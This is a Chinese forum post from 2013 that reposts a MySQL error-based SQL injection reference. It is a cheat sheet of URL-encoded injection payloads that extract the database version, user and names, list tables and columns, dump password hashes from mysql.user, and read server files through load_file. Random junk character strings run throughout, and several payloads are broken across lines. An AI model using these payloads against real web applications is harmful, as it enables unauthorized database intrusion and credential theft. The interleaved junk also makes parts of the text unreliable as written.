Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
( ?& L3 ?8 \% {' E% @# h% m- M

& C, `0 A  N; f/ zMysql暴错注入参考（pdf），每天一贴。。。
: i0 R! z, \- p" M
MySql Error Based Injection Reference
. B& u0 h; G+ t. w2 W[Mysql暴错注入参考]
Authornig0s1992
Blog:http://pnig0s1992.blog.51cto.com/
' I* b6 ?0 z- ?; m* Z: KTeAm:http://www.FreeBuf.com/
: ~6 s" [4 [; ^$ W# B: t( G" wMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
/ n! m8 o% Z" o9 g0 A& \: ]' k查询版本:
1 L' u0 I4 ]$ F) |Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
2 I7 O* k4 I5 R" ^8 O! Ljoin+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
0 u5 A7 ^; f- S查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
. ?, n' I( F& T. E; QMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
$ T( T/ `/ R) U' @: ?5 _5 B5 vand(0)*2))x+from+information_schema.tables+group+by+x)a)
' W5 E1 l$ i6 O. {3 t) ~. k6 h. k, P: e查询当前数据库:
" N& z& C( l/ b; c0 }' G& k* y, D8 eMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
+ S9 e+ r7 o! h; S6 Xor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
" P7 I$ v( b3 W3 J# K& Y6 f7 B爆指定库数目:
& R6 H4 k( v7 U* q! nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
' F) Y0 y; v0 J  H! b3 uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
/ X9 S( \1 [4 T3 v$ a+by+x)a)+and+1=1 0x6D7973716C=mysql
2 y4 U0 N7 B+ l4 E! V0 |6 R依次爆表:
$ o9 y- m- Z! U: Fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
+ I8 P2 \4 v% u: D# D' Iable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
! ^3 `  e9 P9 @/ i' Tbles+group+by+x)a)+and+1=1
0 u; P4 f# U: I# H5 `0x6D7973716C=Mysql 将n顺序替换
7 O* x# n# T  d1 X爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
& z" v1 R# q, f- E" a2 s0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
: v& d( d/ y4 }8 Q2 [/ p依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
% x, P% g: S; M: ^3 hloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
5 i9 m6 {% [  S% kma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
+ x2 N+ F; p* h  }8 X9 B9 \0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
; }  m% z  ^7 v- Y% W" DThx for reading.
8 s  A" C) L* K0 C5 ~3 y8 S
; }, s) T$ G& W: ~$ H6 F不要下载也可以，